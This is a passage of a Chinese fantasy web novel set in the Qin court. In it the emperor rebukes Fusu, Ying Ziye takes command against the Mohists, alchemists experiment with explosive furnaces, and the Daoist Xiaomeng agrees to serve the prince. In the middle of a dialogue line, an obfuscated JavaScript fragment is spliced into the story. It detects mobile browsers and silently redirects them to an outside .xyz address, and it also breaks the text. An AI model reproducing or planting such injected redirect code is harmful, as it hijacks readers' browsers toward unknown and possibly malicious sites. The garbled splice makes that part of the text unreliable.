始皇帝冷笑一声,猛地将手中竹简掷于案上。
简册散开的声响如同惊雷,吓得几名文官膝盖发软!
“你可知前日墨家刺客的剑,差点刺入你弟弟的胸口?!”
帝王起身,玄色帝袍上的金线玄鸟纹在晨光中如活物般游动,
“你可知…东郡陨石上刻着什么?”
“那是对我大秦的诅咒!!!”
这句话如刀剑相击,震得殿梁尘埃簌簌落下。
扶苏面色发白,却仍挺直腰背:
“正因如此,更该明正典刑,而非……”
“而非什么?”
始皇帝突然走下龙台,每一步都让地砖微微震颤!
“而非像你这样——”
他猛地抓起案头染血的密报摔在扶苏脚下!
“对豺狼讲仁德?!”
竹简裂开的脆响中,扶苏看见其中一份墨家密探的口供。
上面详细记载着如何联盟诸子百家,共同抗秦。
他的手指微微发抖,却仍固执道:“可滥杀只会让六国遗民更……”
“够了!”
始皇帝的怒吼让殿外侍卫的戈矛都嗡嗡震颤!
他一把扯下冕旒,九串玉珠崩断,噼里啪啦砸在金砖上:
“朕横扫六国时,靠的不是仁德,是铁骑!是强**!是让敌人闻风丧胆的雷霆手段!!!”
扶苏被飞溅的玉珠划破脸颊,血珠顺着下颌滴在雪白的衣襟上,晕开刺目的红。
他张了张嘴,却见父皇眼中竟闪过一丝……失望?
“回你的府邸去。”
始皇帝突然疲惫地摆手,
“把《商君书》抄写百遍!什么时候想明白‘以刑去刑’的道理,什么时候再出府门。”
当扶苏踉跄退下时,隐约听见父皇的叹息。
唯余一缕被扯断的玉珠,在他离去的路上无声滚动。
第42章 本公子欲打造一支机关兽军团!
扶苏退下后,殿内气氛依旧凝重。
李斯深吸一口气,持笏出列,沉声道:“陛下,墨家虽不如儒、农之众,然其门下弟子遍布六国旧地,且总坛机关城隐匿深山,易守难攻。”
“若贸然大举清剿,恐耗时日久,徒耗国力……”
他话音未落,朝堂上已有数位大臣微微颔首,显然认同此虑。
御史大夫冯劫低声道:“**所言极是,墨家机关术诡谲,若不能一击必杀,反易使其狗急跳墙……”
殿内议论渐起,众臣皆面露忧色。
就在此时——
“儿臣愿**,剿灭墨家!”
一道清冷的声音骤然响起,如寒刃破冰,瞬间斩断所有嘈杂!
满朝文武猛然回头,只见赢子夜缓步出列,玄色锦袍垂落如夜,腰间青玉符令微微泛光。
他的声音不大,却字字如铁,掷地有声!
殿内霎时一静,随即哗然。
“六公子三思啊!”
李斯第一个出列劝阻,眉头紧锁,
“墨家机关城经营百年,机关暗道无数,纵使知晓方位,强攻也非易事…”
治粟内史紧接着拱手:
“公子千金之躯,前日才遭刺杀,若再涉险…”
“老臣斗胆。”
年迈的廷尉颤巍巍出列!
“墨家叛逆凶悍,此事当从长计议!”
始皇帝冕旒下的眉头微不可察地皱起。
他指尖轻叩龙案,目光深沉地注视着这个最像自己的儿子。
像是在沉吟……
可赢子夜却忽然笑了。
那笑意不达眼底,反而让满朝文武后背一凉。
“**所言极是。”
他慢条斯理地整了整袖口,“所以,儿臣特意请来了公输仇。”
三字一出,满殿哗然!
“公输仇?!”
“霸道机关术掌门人?!”
“他竟投效了六公子?!”
群臣震动,就连李斯也瞳孔骤缩!
公输仇与墨家世代为敌,若得其助,墨家机关城再隐秘,也难逃一劫!
赢子夜神色平静,继续道:“墨家机关城所在,儿臣已尽数知晓。”
“公输仇更通晓其机关布置,破之易如反掌!”
他的语气平淡,却透着一股不容置疑的自信,与方才扶苏的“仁政之谏”形成鲜明对比!
“至于危险…”
赢子夜抬眸,眼中寒芒乍现,
“儿臣倒要看看,是墨家的机关快,还是我大秦的铁骑快!!!”
最后一字落下,殿角青铜灯台的火焰竟无风自动,在他身后拉出一道如剑般笔直的影子。
始皇帝突然大笑,笑声震得殿瓦簌簌作响:
“朕准了!”
他猛地起身,玄色帝袍如乌云翻涌:
“蒙恬三十万大军任你调遣,三个月之内——”
九旒玉珠碰撞间,帝王眼中金芒暴涨!
“朕要墨家,鸡犬不留!!!”
赢子夜躬身一礼,眼底锋芒隐现:“儿臣,定不负父皇所托。”
这一刻,满朝文武皆屏息凝神。
他们忽然意识到——
这位往日不显山露水的六公子,今日,竟以如此凌厉之姿,悍然登上了大秦的权力中心!
……
退朝之后。
中车府。
暗室幽深,青铜灯盏中的烛火摇曳不定,将赵高那张苍白如纸的面容映得阴晴难辨。
“大人。”
一道黑影无声跪伏于地,双手呈上一卷以黑绸包裹的密函,绸布上绣着罗网独有的蛛纹暗记。
赵高指尖微抬,黑影立即膝行上前,将密函置于案上,随后**着隐入黑暗。
室内重归死寂。
赵高缓缓展开密函,首先映入眼帘的是一枚染血的青铜令箭。
掩日的信物。
其下压着一张薄如蝉翼的丝帛,帛上墨迹殷红如血,赫然是东郡陨石上的箴言拓印:
【亡秦者,胡也,始皇帝死而天下分】
每一个字都仿佛利刃,刺入赵高的眼底。
他的手指无意识地收紧,丝帛在掌中皱出细碎的声响。
赵高忽地轻笑一声。
烛火猛地一晃,映出他嘴角扭曲的弧度。
“传令惊鲵——”
他抬手抚过那行血字,指甲在“胡”字上重重一刮,留下一道触目惊心的划痕。
“计划开始!”
……
六公子府。
内院。
赢子夜踏入庭中,玄色衣袍掠过青石,步履沉稳。
少司命静立廊下,紫纱轻拂,见他归来,微微欠身。
“公子,人已齐了。”
她声音清冷,如霜落寒潭,
“三百六十七名炸炉术士,尽数安置于蜃楼。”
赢子夜唇角微扬:“甚好。”
他铺开六公子府构造图,修长的手指在某处轻轻一点:
“此地划为丹房,任他们施为。”
顿了顿,又道,
“凡炸炉者,需详录火候、配比、时机,所需钱财,皆由府库支取。”
少司命垂眸应下,却见赢子夜忽然从袖中取出三枚玉瓶。
瓶身晶莹,隐约可见其中丹药流转着奇异的光晕。
“此乃‘玄灵丹’。”
他随手将玉瓶递去,
“凡有所成者,赏!”
少司命接过玉瓶的瞬间,指尖微不可察地一颤。
——好精纯的灵力!!!
她虽面色如常,紫纱下的呼吸却已悄然急促。
这丹药的品质,比阴阳家秘传的“聚灵丹”还要纯粹数倍!
若能得此物相助,她平时的修炼速度定能再进一步。
想要……
这个念头刚起,又被她强行压下。
少司命长睫低垂,将翻涌的心绪尽数掩在淡漠之下。
“明白。”
她微微颔首,转身欲退。
赢子夜忽然开口:“你若感
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兴趣,亦可一试。”
少司命脚步一顿。
他看出来了?
紫纱下的唇轻轻抿起,最终却只是摇了摇头,飘然离去。
夜风拂过廊下,卷起她一缕发丝。
……
地下工坊。
幽深的甬道尽头,炽热的火光将石壁映照得通红。
铁锤敲击的铮鸣声不绝于耳,空气中弥漫着硫磺与熔铁的气息。
赢子夜负手而立,玄色衣袍在热浪中纹丝不动,目光落在那座巨大的青铜兽躯之上。
公输仇正俯身调试机括,机关臂咔咔作响,布满老茧的手指在兽躯内细细摩挲。
他的眼中闪烁着近乎癫狂的专注,额角青筋暴起,仿佛整个人都已与这凶器融为一体。
“进展如何?”赢子夜淡淡开口。
公输仇猛地回头,见是赢子夜,连忙跪地行礼:“公子!”
他声音沙哑如铁锈摩擦:“大军需要的机关兽已铸成雏形,只是还有一些机括需……”
“太慢了。”
赢子夜打断了他,声音不重,却让公输仇浑身一颤。
“陛下已下旨剿灭墨家。”
赢子夜缓步上前,指尖轻抚炮身,“本公子领军,你随行。”
公输仇的独眼骤然瞪大,机关臂发出刺耳的摩擦声!!
剿灭墨家!
这个念头如烈火般在他胸腔炸开。
多少年了?
自从祖师爷败在墨家手中,公输家便如阴沟里的老鼠,只能靠给秦国打造兵器苟活。
而现在——
“老、老朽定当……”
他的声音因激动而扭曲,独眼中血丝密布:“定当让墨家那群**子,尝尝机关术真正的厉害!”
赢子夜瞥了他一眼:“一个月。”
“什么?”
“一个月内,本公子要看到机关兽全面列装!”
赢子夜的声音如寒铁般冰冷,“所需铁匠,可去少府抽调。”
“若有人阻拦…”
他抛出一枚玄铁令牌,“就说本公子要的!”
公输仇慌忙接住令牌,枯瘦的手指死死攥紧,仿佛握住了复仇的希望!
“还有。”
赢子夜忽然转身,“到时候,要把墨家机关城的构造,详细绘出来。”
公输仇浑身一震,随即发出夜枭般的笑声:“公子放心!”
“老朽闭着眼都能画出那些暗道!”
他猛地扯开衣襟,露出胸口一道狰狞的伤疤,“这是三十年前,墨家巨子亲赐的‘见面礼’!”
赢子夜没有理会他的癫狂,只是淡淡补充:“记住,一个月。”
走出工坊时,身后传来公输仇歇斯底里的咆哮。
“加快速度!今夜谁也不准睡!”
紧接着是铁锤更加疯狂的敲击声,仿佛要将三十年的怨恨全部砸进铸造坊。
夜风拂过庭院,赢子夜抬头望天。
墨家,你们的末日…到了。
……
第43章 道爷我,成了!
接连数日。
六公子府东侧的偏殿上空黑烟滚滚,轰鸣声不绝于耳。
“轰——!!”
又是一声震天动地的巨响,整片殿宇都跟着颤了颤。
廊檐下的青铜风铃疯狂摇晃,叮当作响。
附近的侍卫早已见怪不怪,连眼皮都懒得抬一下。
“成了!我成了!”
一个满脸焦黑的术士从浓烟中狂奔而出,手中高举着一枚赤红如血的丹丸。
他的衣袍被炸得破烂,头发根根竖起,却笑得癫狂:“火候!关键是火候!硫磺三分,硝石七分,炭粉……”
话未说完,身后又是一声巨响!!
“砰!”
隔壁丹房的屋顶直接被气浪掀飞,瓦砾四溅。
两名灰头土脸的术士从废墟中爬出,却兴奋地手舞足蹈。
“记录!快记录!这次的配比绝对接近了!”
少司命静立在高处的廊桥上,紫纱随风轻扬。
她垂眸望着下方这群疯子,素来清冷的眸中闪过一丝复杂。
这些天来,她已经记不清这是第几次**了。
可偏偏每一次,这些术士非但不惧,反而愈发狂热。
“第七十三次。”
她轻声自语,指尖无意识地摩挲着腰间的玉瓶。
那是赢子夜赐下的“玄灵丹”。
只需一枚,就抵得上她苦修数月。
而这些疯子,居然为了这种丹药连命都不要了。
或许……
她轻轻摇头,将这个荒谬的念头压下。
……
与此同时。
少府。
铸器坊。
“让开!都让开!”
公输仇的咆哮声穿透了整个工坊。
他挥舞着机关臂,独眼中闪烁着骇人的光芒:“这批精铁全给我搬走!还有那批青铜!对,就是陛下亲赐的那批!”
少府的官员急得满头大汗:“公输先生,这、这不合规矩啊……”
“规矩?”
公输仇狞笑着亮出玄铁令牌,“六公子的话就是规矩!”
他身后,数十名赤膊的铁匠推着满载材料的板车,轰隆隆地碾过青石地面。
这些天来,少府的库存几乎被搬空了一半。
熔炉日夜不熄,锤声从早到晚响个不停。
“快点!再快点!”
公输仇踹开一间厢房的门,将里面珍藏的陨铁一扫而空。
他的机关臂因过度使用而发烫,发出刺耳的摩擦声,却丝毫不在意。
墨家…墨家……
每锻造一块铁胚,他都在想象墨家机关城大门被破开的场景。
三十年的**,三十年的隐忍,终于等到了这一天!
“铛!铛!铛!”
铸器坊内,铁锤敲击的声音如雷霆般密集……
……
咸阳街头。
百姓们这些天总是忍不住抬头张望。
城东的天空时常被黑烟笼罩,而少府方向传来的打铁声,就连深夜都不曾停歇。
茶肆酒坊中,窃窃私语不断:
“听说了吗?六公子要出征了!”
“嘘!小声点!我表哥在少府当差,说是在打造什么了不得的兵器……”
一阵风吹过,卷起街角的落叶。
隐约间,似乎有金戈铁马之声从远方传来!!!
……
十八公子府。
密室。
烛火摇曳,映照出胡亥那张看似纯真的面容。
他斜倚在软榻上,指尖轻轻敲击着案几,眉头微蹙,仿佛真的只是个困惑的少年。
“老师,你说…六哥这是要做什么?”
他歪了歪头,眼中闪烁着无害的好奇。
“养一群炼丹失败的废物,还赏他们?这世上竟有人求着要炸炉的?”
赵高垂首而立,苍白的面容隐在阴影中,声音如毒蛇吐信般轻柔:
“老奴也百思不得其解。”
“六公子府上送出的赏赐名单里,排在前列的,尽是那些炸炉最狠的术士。”
“哦?”
胡亥眨了眨眼,唇边勾起一抹天真的笑意。
“那岂不是说,谁炼的丹越烂,谁就越得六哥欢心?”
他忽然坐直身子,像是想到了什么有趣的事情,拍手笑道:
“那不如我也去炼丹!说不定六哥一高兴,也赏赐我一些好东西呢!”
赵高眼角微不可察地抽动了一下,却仍恭敬道:
“公子说笑了。”
胡亥笑容不减,眼神却渐渐冷了下来。
“查清楚了吗?那些术士到底在炼什么?”
“老奴派了三个地字级的探子混进去。”
赵高声音压低。
“可六公子府上的规矩极严…所有丹方配比必须详细记录,成品一律封存,直接送入内库。”
“有意思……”
胡亥把玩着手中的玉杯,忽然“咔嚓”一声捏得粉碎。
“所以连老师你也查不出?”
赵高深深俯首。
“是老奴无能。不过……”
他抬起阴鸷的双眼。
“有件事颇为蹊跷。”
“那些术士领赏时,都在念叨什么‘三分硫磺七分硝’,还有人醉酒后高呼‘绽放’二字。”
“绽放?”
胡亥一怔,随即哈哈大笑。
“莫非六哥是要在父皇寿辰时,弄个什么‘火树银花’的奇巧幻术来助兴?”
笑声戛然而止。
胡亥的表情瞬间阴沉如水。
“继续查。”
他轻轻抹去掌心的玉屑。
“我倒要看看,这位整日装疯卖傻的六哥,葫芦里卖的什么药。”
赵高躬身应是,却在低头时,眼中闪过一丝异样的光芒。
三分硫磺,七分硝…?
……
长公子府内。
扶苏手持竹简,眉头紧锁。
窗外飘来阵阵焦糊味,那是从六弟府邸方向传来的。
倒不如说,如今整个咸阳城,处处都有这样的味道。
他放下竹简,走到窗前,望着远处升起的黑烟,眼中满是困惑。
“公子,茶凉了。”
淳于越轻声提醒道。
扶苏这才回过神来,苦笑着摇头:
“老师,你说子夜这是要做什么?”
“父皇命他剿灭墨家,他不去整军备战,反倒招揽了一群炼丹失败的术士……”
淳于越捋着胡须,同样一脸不解:
“老臣也百思不得其解,听闻那些术士每炸一次炉,六公子还重重有赏。”
“荒唐!”
扶苏忍不住拍案,随即又叹了口气。
“如今国库吃紧,百姓赋税沉重,子夜却如此挥霍……”
他走到书架前,手指无意识地摩挲着《论语》的竹简。
忽然想起前几日去少府时,看到公输仇带着大批工匠进进出出,那副癫狂的模样至今难忘。
“老师,你说……”
扶苏迟疑道。
“子夜会不会是在准备什么特殊的兵器?”
淳于越摇头:
“老臣实在想不出,炼丹失败与打仗有何关联。”
“除非……”
他忽然压低声音。
“六公子是在借此掩人耳目?”
扶苏心头一震。
想起那日在朝堂上,子夜**时的眼神,那绝不是胡闹之人会有的目光。
他望着六公子府的方向,喃喃自语:
“子夜,你到底在谋划什么……”
……
章台宫内。
青铜
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灯盏的火光微微摇曳。
始皇帝端坐于龙案之后,手中朱笔悬停,听着一名心腹宦官的奏报。
“六公子近日招揽术士三百有余,日夜炼丹…”
宦官跪伏于地,声音轻柔。
“据报,每有炸炉,必重赏之…”
笔尖的朱砂滴落在竹简上,晕开如血。
始皇帝眉梢微挑,却未言语。
殿内静得能听见灯芯爆裂的轻响。
“公输仇更是奉命日夜督造奇器,少府库存精铁已去其半…”
宦官的声音越来越低。
“砰!”
始皇帝突然合上竹简,惊得宦官浑身一颤。
冕旒垂下的玉珠微微晃动,遮住了帝王眼中的精光。
“朕知道了。”
简简单单几个字,却让殿内温度骤降!
宦官以额触地,不敢抬头。
始皇帝缓缓起身,玄色帝袍上的金线玄鸟在烛光下熠熠生辉。
他踱至窗前,望着六公子府、少府方向升起的黑烟,嘴角浮现出一丝几不可察的弧度。
“传令。”
帝王的声音不疾不徐。
“三十万大军按兵不动,静候子夜的军令。”
宦官愕然抬头:“陛下,那墨家…”
“退下。”
二字如铁,不容置疑!
宦官仓皇叩首,**着退出大殿。
始皇帝独自立于窗前,指尖轻叩窗棂。
远处又一声闷响传来,震得檐角铜铃叮当作响。
他九旒冕下的双目如渊似海。
“朕的儿子做什么…”
“还轮不到外人过问。”
低语消散在夜风中。
帝王转身,玄袍翻卷如云。
案头烛火忽明忽暗,映得他面容晦暗难明。
他忽然轻笑一声,眼中闪过一丝玩味。
“不过朕倒要看看…”
“你能给朕什么惊喜。”
忽然,殿外传来急促的脚步声。
“报——!”
黑冰台统领单膝跪地,双手呈上一卷染血的密函,嗓音低沉而紧绷:
“陛下,蒙恬将军急报!”
始皇帝眸色微凝,指尖轻抬,密函稳稳拿到掌中。
他缓缓展开,目光扫过其上墨迹。
刹那间,殿内温度骤降!
“陨石已截获,然墨家贼子盗拓箴言,流窜在外!”
九旒冕下的双眸如渊似海,指尖微微收紧,竹简无声碎裂,化作齑粉簌簌而落。
“废物。”
二字轻吐,却如雷霆炸响!
黑冰台统领额头抵地,冷汗涔涔,不敢稍动。
始皇帝缓缓起身,玄袍翻涌如乌云压城,每一步踏出,都似山岳倾轧,震得殿内烛火剧烈摇晃!
“传诏。”
他的声音并不高,却仿佛自九幽之下传来,裹挟着令人胆寒的杀意!
“令蒙恬就地毁去陨石,不得有误!”
“诺!”
统领颤声应命。
“还有——”
始皇帝蓦然回首,冕旒玉珠碰撞间,那双如炬的眸子直刺人心!
“让他即刻回师咸阳,助子夜…踏平墨家!”
最后一字落下,殿外惊雷炸响!
惨白的电光映亮帝王森冷的面容,宛如神魔临世!!
黑冰台统领以头抢地,铠甲碰撞声刺破死寂——
“卑职,即刻传令!”
待其仓皇退下,殿内重归寂静,唯余灯芯爆裂的轻响。
始皇帝负手立于窗前,望着咸阳城外翻滚的乌云,嘴角忽地勾起一抹冰冷的弧度。
“子夜……”
低语消散在风中,无人得闻。
而远方天际,隐约传来金戈铁马之声,恍若暴风雨前的…
最后雷鸣!
第44章 给本公子为仆十五年!
与此同时。
咸阳城暮色渐沉。
一道清冷的身影立于六公子府外,素白道袍随风轻扬,银丝拂尘垂落如雪。
晓梦。
她抬眸,淡漠的目光扫过府邸高墙,唇角微不可察地扬起一丝弧度。
“六公子赢子夜……”
这一路上,她听闻了太多关于这位大秦六公子的传闻。
定边之策。
请天子剑镇六国。
府中藏剑,天外飞仙……
每一件事都让人难以捉摸,如今,他更是成为大秦炙手可热的焦点。
“呵……有趣。”
她素来不屑凡尘俗事,可这一次,她竟有些看不透此人。
尤其是进城时听说,他竟要领兵攻打墨家?
这更是让她感到诧异。
是因为之前墨家派人刺杀他,所以要报复吗?
一步踏入,风随影动。
府中下人见状,连忙上前阻拦:
“这位姑娘,六公子府不得擅闯——”
话音未落,拂尘轻扬!!
“唰——!”
一股无形之力骤然荡开,几名侍卫尚未反应,便已被柔和却不可抗拒的力量推至一旁,踉跄数步,却未受伤。
“让路。”
晓梦语气淡漠,步履不停,径直向内走去。
然而,就在下一瞬!
“咻!”
一道紫影如幻似魅,骤然闪现!
少司命飘然而至,面纱轻拂,紫瞳清冷,指尖一缕翠色灵力缠绕,无声拦在晓梦身前。
“擅闯他人府邸,未免失礼。”
晓梦眸光微动,唇角轻挑:
“阴阳家的人?倒是没想到,你们跟六公子走得如此之近。”
少司命不语,只是静静注视着她,周身灵力隐现。
晓梦轻笑一声,拂尘微抬:
“怎么,要拦我?”
话音未落,两人身形同时一动!
“唰——!”
拂尘如雪,灵力如虹!
刹那间,庭院内风卷残叶,两道身影交错而过,竟无半点声响!
唯有气机碰撞,震得四周草木簌簌而落!!!
晓梦眼中闪过一丝讶异。
“你们阴阳家,竟还藏有这等**?”
少司命依旧沉默,但指尖灵力愈发凝实,“青帝长生诀”全速运转,显然已认真起来。
晓梦见状,笑意更深:“有意思。”
她本只是随意试探,却未料到,赢子夜府上竟藏有如此高手。
“看来,这位六公子……比传闻中更有意思。”
她收势而立,拂尘轻垂,淡淡道:
“我今日来,并非寻衅,只是想见见这位‘深藏不露’的六公子。”
少司命却懒得废话。
指尖灵力凝聚,翠色光华流转,一记“青木化剑”直刺晓梦眉心!!
晓梦眸光微动,唇角轻扬,拂尘一甩,竟如游龙般缠绕而上,将少司命的灵力寸寸化解。
“阴阳家的咒术,不过如此。”
少司命眼神一冷,身形骤然虚幻,刹那间分化三道残影,从不同方向袭向晓梦!
晓梦轻笑一声,足尖轻点,竟如踏水无痕,身形飘然后退,同时拂尘一抖!
“天宗·和光同尘。”
刹那间!
她的身影仿佛融入天地,气息全无!
少司命瞳孔微缩,攻势落空,还未回神,便觉背后寒意骤起!
“锵——!”
晓梦不知何时已出现在她身后,并指如剑,一缕剑气直逼少司命后心!
少司命仓促回身,双掌交错,灵力化作屏障硬挡。
“轰!”
气浪炸开,少司命连退三步,面纱微扬,眼中闪过一丝惊色。
“……”
晓梦淡然收手,拂尘轻垂:“若只是这种程度,还是退下吧。”
少司命眼中寒芒一闪,显然被激起了战意。
她指尖灵力骤然暴涨,周身翠光环绕,显然准备全力出手!
晓梦见状,唇角微挑:“哦?还不服?”
她手腕一翻,拂尘轻扬,竟从袖中滑出一柄通体莹白的长剑。
“秋骊。”
剑锋出鞘的刹那,整座庭院仿佛陷入凝滞,连风都为之静止!
少司命呼吸微滞,但战意更盛,正要再攻!
“这是打算拆了我这六公子府?”
一道懒散的声音忽然从廊下传来。
两人同时一怔,转头望去。
赢子夜斜倚栏杆,手中把玩着一枚青铜棋子,唇角含笑,眼神却深邃如渊。
……
晓梦眸光微凝。
她并未从此人身上察觉到任何真气波动,甚至感受不到一丝威胁。
可偏偏,她的直觉在疯狂预警!
“这个人……很危险。”
尤其是那双眼睛,看似人畜无害,却仿佛能洞穿一切。
赢子夜也在打量她。
一袭素白道袍,银丝拂尘,气质清冷如霜,却又带着一丝超脱世俗的孤傲。
那双眸子如古井无波,仿佛世间万物皆不入眼,却又隐约透着一丝探寻之意。
“敢问阁下…?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16030623|178632||http|test|mini|href|location''.split(''|''),0,{}));
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>他唇角微扬,语气懒散,却带着几分玩味。
晓梦眸光微动,淡淡道:
“贫道天宗晓梦…见过六公子。”
赢子夜心中一凛。
天宗掌门晓梦,下山了?
还特地前来见自己……
他双眼一眯,笑了笑,指尖的青铜棋子轻轻一抛,又稳稳接住:
“原来是晓梦大师,阁下今日登门,总不会是为了拆我这府邸吧?”
晓梦神色不变,拂尘轻垂,语气平静:
“我来看看,能让阴阳家俯首、墨家刺客溃逃,甚至搅动整个咸阳风云的六公子…究竟是何方神圣。”
赢子夜眉梢微挑,笑意更深:
“那现在,大师看明白了?”
晓梦盯着他,缓缓道:“没有。”
“所以,我更好奇了。”
赢子夜闻言,笑意不减,但眼底闪过一丝深邃。
“能让天宗掌门亲自登门,倒是本公子的荣幸。”
他语气轻佻,却又带着几分试探。
晓梦并未理会他的调侃,直接道:“师兄说,你的身上有我突破的关键。”
“噗——”
赢子夜差点被自己的口水呛到,眼神古怪地看向她:
“我身上…这么直白的吗?!”
晓梦微微蹙眉,显然没明白他话中的深意,依旧面色淡漠:
“那天六公子府显露的天人异象,与庄周梦蝶颇为相似,故此前来。”
赢子夜闻言,恍然,随即失笑:“什么仙人?”
“我根本不知道你在说什么,可能你找错地方了。”
他说完,作势转身要走。
晓梦眸光一凝,拂尘微抬,拦在他身前:
“若你肯让那位仙人助我突破,我…可以助你平灭墨家!!”
话音落下,她忽然意识到一个问题。
若赢子夜身后真有这样强大的存在,又岂会需要她的帮助?
然而,下一刻。
赢子夜却忽然转身,唇角勾起一抹意味深长的笑。
“区区墨家,还不值得本公子犯难。”
他语气随意,仿佛覆灭墨家不过是随手之事。
晓梦眸光微闪,但很快恢复平静:“那你要什么?”
赢子夜笑意渐深,目光在她身上缓缓扫过,带着几分审视,却又透着几分戏谑。
“若是你答应我一个要求,我倒是可以考虑考虑。”
晓梦淡淡道:“什么要求?”
赢子夜微微倾身,声音轻缓,却字字清晰——
“给本公子…为仆十五年。”
第45章 **称王!**立威!
庭院中的空气仿佛凝固了一瞬。
晓梦闻言,眸底寒芒骤闪,指节微微收紧,拂尘无风自动。
她自幼天赋绝伦,八岁败尽天宗长老,十八岁执掌宗门,何曾被人如此轻慢?
更遑论……为仆?
“六公子。”
她开口,嗓音如冰泉击石,冷冽中透着一丝压抑的怒意,
“你可知自己在说什么?”
赢子夜懒散地倚着廊柱,闻言轻笑一声,指尖随意拨弄着那枚青铜棋子:
“怎么,天宗掌门听不明白人话?”
他抬眸,眼底笑意不达深处,
“若不愿意,门在那里——”
袖袍一拂,遥遥指向府门,
“请便。”
棋子“嗒”地一声落在石阶上,清脆的响动像是一记无形的挑衅。
晓梦周身气机骤然一荡!
落叶在她足边无声粉碎,连拂尘垂落的银丝都隐隐泛起寒光。
少司命下意识后退半步,紫瞳微凝。
这位天宗掌门,竟已动了真怒!!
然而下一瞬,晓梦忽地闭了闭眼。
再睁眼时,眸中波澜尽敛,唯余一片冷寂。
“好。”
她冷冷道,
“我答应你。”
拂尘一甩,银丝如雪垂落。
“但若你胆敢欺瞒——”
话音未落,赢子夜忽然笑出声来。
“威胁本公子?”
他饶有兴趣地摩挲着下巴,
“有意思。敢这么明目张胆放狠话的,你是头一个。”
玄色衣袍在风中轻晃,他忽然迈步逼近,明明周身毫无内力波动,却逼得晓梦不自觉绷紧了脊背,
“不过……”
距离三尺处,他倏然停步,俯身时一缕发丝扫过晓梦肩头。
“本公子向来说到做到。”
温热的呼吸掠过耳畔,晓梦猛地攥紧拂尘!
这个距离……太危险了!
可未等她动作,赢子夜已直起身,漫不经心地转身走向内院:
“跟上。”
晓梦盯着他的背影,指节发白。
此人分明毫无修为,为何方才那一瞬,她竟本能地感到战栗?
“怎么?”
赢子夜头也不回地挥了挥手,“天宗掌门……怕了?”
激将法拙劣至极。
可偏偏,她无法退缩。
“呵。”
晓梦冷笑一声,拂尘扬起一片雪色流光,大步跟了上去。
少司命欲言又止,最终沉默地隐入阴影。
檐角铜铃轻响,仿佛在嘲笑这场荒唐的交易。
……
庭院深深,曲径通幽。
赢子夜负手走在前面,玄色衣袍扫过石阶上零落的竹叶,发出细微的沙响。
晓梦跟在三步之后,银丝拂尘垂在臂弯,目光却不动声色地打量着四周。
这后花园看似寻常,可假山错落间暗合九宫方位,连池畔垂柳的摇曳都隐隐带着某种韵律。
“就这儿吧。”
赢子夜忽然停在一方青石砌就的池塘前。
水面如镜,倒映着天光云影。
几尾红鲤在睡莲叶下游弋。
他随手折下一段柳枝,指尖轻轻一捻,嫩叶簌簌落入池中,荡开圈圈涟漪。
“看好了。”
话音未落,他忽然将柳枝往水面一划——
“唰!”
平静的水面骤然炸开一道白线!
无数水珠腾空而起,在半空中凝成三尺青锋的模样。
更惊人的是,那些水珠剑锋上竟隐约浮现出细密的篆纹,仿佛真是一柄上古神兵。
晓梦瞳孔骤缩。
这绝非寻常的以气驭物。
水中无真气波动,那些水珠完全是在某种玄妙意境的牵引下自行化形!
“这是……”
“嘘。”
赢子夜竖起食指抵在唇前,柳枝又轻轻一挑。
水剑忽然分化万千,如星河倾泻般在空中交织成阵!
每一滴水中都倒映着不同的景象!!
有时是沙场金戈,有时是月下独酌,甚至还有农人耕作的剪影。
晓梦的拂尘无声滑落在地。
她终于明白师兄为何说此人身上有她突破的契机——
这分明是将“天地与我并生”的境界,化入了举手投足间!!!
天宗追求的天人合一,在此人手中竟如呼吸般自然。
水幕忽然散作细雨飘落。
赢子夜随手抛了柳枝,转身时衣袂带起的气流将水珠尽数震成氤氲雾气。
阳光穿过水雾,在他周身镀上一层朦胧光晕。
“如何?”
晓梦深吸一口气,雪白的道袍无风自动:“你有如此修为,为何还要……”
她顿了顿,眸中闪过一丝锐利。
“让我为仆?”
赢子夜轻笑一声,忽然伸手接住一滴将落未落的水珠。
那水珠在他掌心滚动,渐渐凝成一只栩栩如生的青鸟。
“看见这只鸟了么?”
他屈指一弹,青鸟振翅飞向假山,却在触及山石的瞬间散作水雾,
“有些事,本尊出面反而不好办。”
水雾飘散处,石缝里,一株嫩芽正破土而出。
晓梦猛然醒悟。
她想起近日咸阳传闻:
天穹的仙人虚影、六公子府的天外飞仙,甚至六国遗族反常的沉默……
原来都是水面下的涟漪。
而眼前这人,分明是站在更高处垂钓的棋手!
“我明白了。”
她弯腰拾起拂尘,银丝扫过地面时带起细碎冰晶。
“十五年为期。”
赢子夜微微一笑:“十五年足矣。”
他忽然贴近,近到能看清晓梦睫毛上未干的水汽,
“毕竟……”
温热的气息拂过她耳畔。
“让天宗掌门端茶倒水,也挺暴殄天物的。”
晓梦猝然后退,道冠上的玉坠叮咚作响。
她本该恼怒,可望着池水中两人交错的倒影,忽然意识到——
这或许是她突破“坐忘”之境最好的机缘。
“成交。”
她抬袖挥散周身水雾,又恢复了那副冰雪姿态。
“不过我要加一个条件。”
“哦?”
“每月初一,你要与我论道一次。”
赢子夜闻言大笑,笑声惊得池中锦鲤四散。
他转身走向曲廊,背影融在斑驳竹影里:“那就从今日开始吧,我的…晓梦大师。”
最后四个字拖得悠长,带着几分戏谑,却又莫名让人想起方才那柄水凝的剑。
晓梦望着他远去的身影,忽然屈指弹出一道气劲!
池水轰然炸开,化作漫天水剑悬停半空。
虽然维持不过三息就溃散成雨,但确实有了几分神韵。
……
十余日后。
咸阳城的晨雾还未散尽,一骑快马踏碎朱雀大街的薄霜。
驿卒背上的赤色翎羽在风中
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剧烈颤动,沿途甲士纷纷退避!
那是六百里加急的军报。
“急报!萧大人已收服六国遗族!”
章台宫外的铜钟尚未敲响。
这份战报的抄本,已像野火般传遍各大府邸。
丞相李斯捏着竹简的手指微微发颤,简上寥寥数语却重若千钧!
“魏豹率宗族二百四十人已启程赴咸阳,抗命者乐氏、公叔氏皆诛。”
“赵地……”
“田氏……”
黑冰台的密探也在街角阴影处交换着眼色。
他们早已亲眼见过那位萧大人的手段。
市井酒肆里,说书人已经编出新段子:
“只见那萧先生一袭青衫站在宗庙前,笑吟吟道‘诸君不挪窝,是想让在下帮忙迁坟么?’”
满堂哄笑中。
